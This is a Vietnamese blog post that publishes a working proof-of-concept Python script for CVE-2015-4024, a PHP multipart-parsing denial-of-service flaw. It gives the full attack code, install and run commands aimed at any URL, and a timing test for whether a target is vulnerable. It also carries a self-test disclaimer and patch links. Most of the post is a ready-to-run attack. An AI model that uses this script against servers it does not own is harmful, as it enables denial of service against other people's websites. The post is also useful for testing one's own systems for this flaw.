11/08/2018, 20:50

Mã mô phỏng lỗ hổng CVE-2015-4024

Như đã mô tả trong bài viết trước, CVE-2015-4024 là một lỗ hổng nghiệm trọng của hầu hết các phiên bản PHP và mới chỉ được vá gần đây. Trong báo cáo bug thì người phát hiện (một nhà nghiên cứu an ninh ở Baidu Trung Quốc) đã tái hiện tình huống và phân tích cụ thể, tuy nhiên chưa đưa ra đoạn mã mô ...

Như đã mô tả trong bài viết trước, CVE-2015-4024 là một lỗ hổng nghiệm trọng của hầu hết các phiên bản PHP và mới chỉ được vá gần đây. Trong báo cáo bug thì người phát hiện (một nhà nghiên cứu an ninh ở Baidu Trung Quốc) đã tái hiện tình huống và phân tích cụ thể, tuy nhiên chưa đưa ra đoạn mã mô phỏng.

Mình sẽ public đoạn mã mô phỏng mình viết sau khi đọc bản báo cáo trên. Đoạn mã này được tạo ra với mục đích kiểm thử hệ thống của bản thân. Sử dụng lại đồng nghĩa với tự chấp nhận trách nhiệm và rủi ro đi kèm.

# attack.py
import sys, time, requests

CRLF = '
'
def post(url):
    boundary = '---------------------------' + ('%.f' % time.time())
    data = '--' + boundary + CRLF
    fakefile = 'dummy'
    for _ in xrange(150000):
        fakefile += CRLF + 'dummy'
    data += 'Content-Disposition: form-data; name="' + fakefile + '"; filename="z.txt"' + CRLF
    data += 'Content-Type: application/octet-stream' + CRLF
    data += CRLF
    data += '--' + boundary + '--' + CRLF
    headers = {
        'Content-Type': 'multipart/form-data; boundary=' + boundary,
        'Content-Length': len(data)
    }
    print('attack start')
    r = requests.post(url, headers = headers, data = data)
    print('attack end')

try:
    post(sys.argv[1])
except:
    print('Invalid URL!')

Bạn cần thư viện requests phiên bản 2.5.3 để chạy đoạn mã trên

pip install requests==2.5.3

Sau đó chạy đoạn mã với url đằng sau

python attack.py http://xxx.yyy

Nếu kết quả trả về sau thời gian lâu hơn khoảng 5s, thì tức là url kia đã "dính".

Sau đây là một đoạn mã khác công khai trên Github, các bạn có thể đọc tham khảo
https://github.com/qqq232575/phpbug69364-test.
WARNING: USE THIS TOOL AT YOUR OWN RISK

  • Hướng dẫn vá lỗ hổng
  • Báo cáo bug của PHP
  • PHP ChangeLog
  • Link bản patch cho PHP5.4 +
0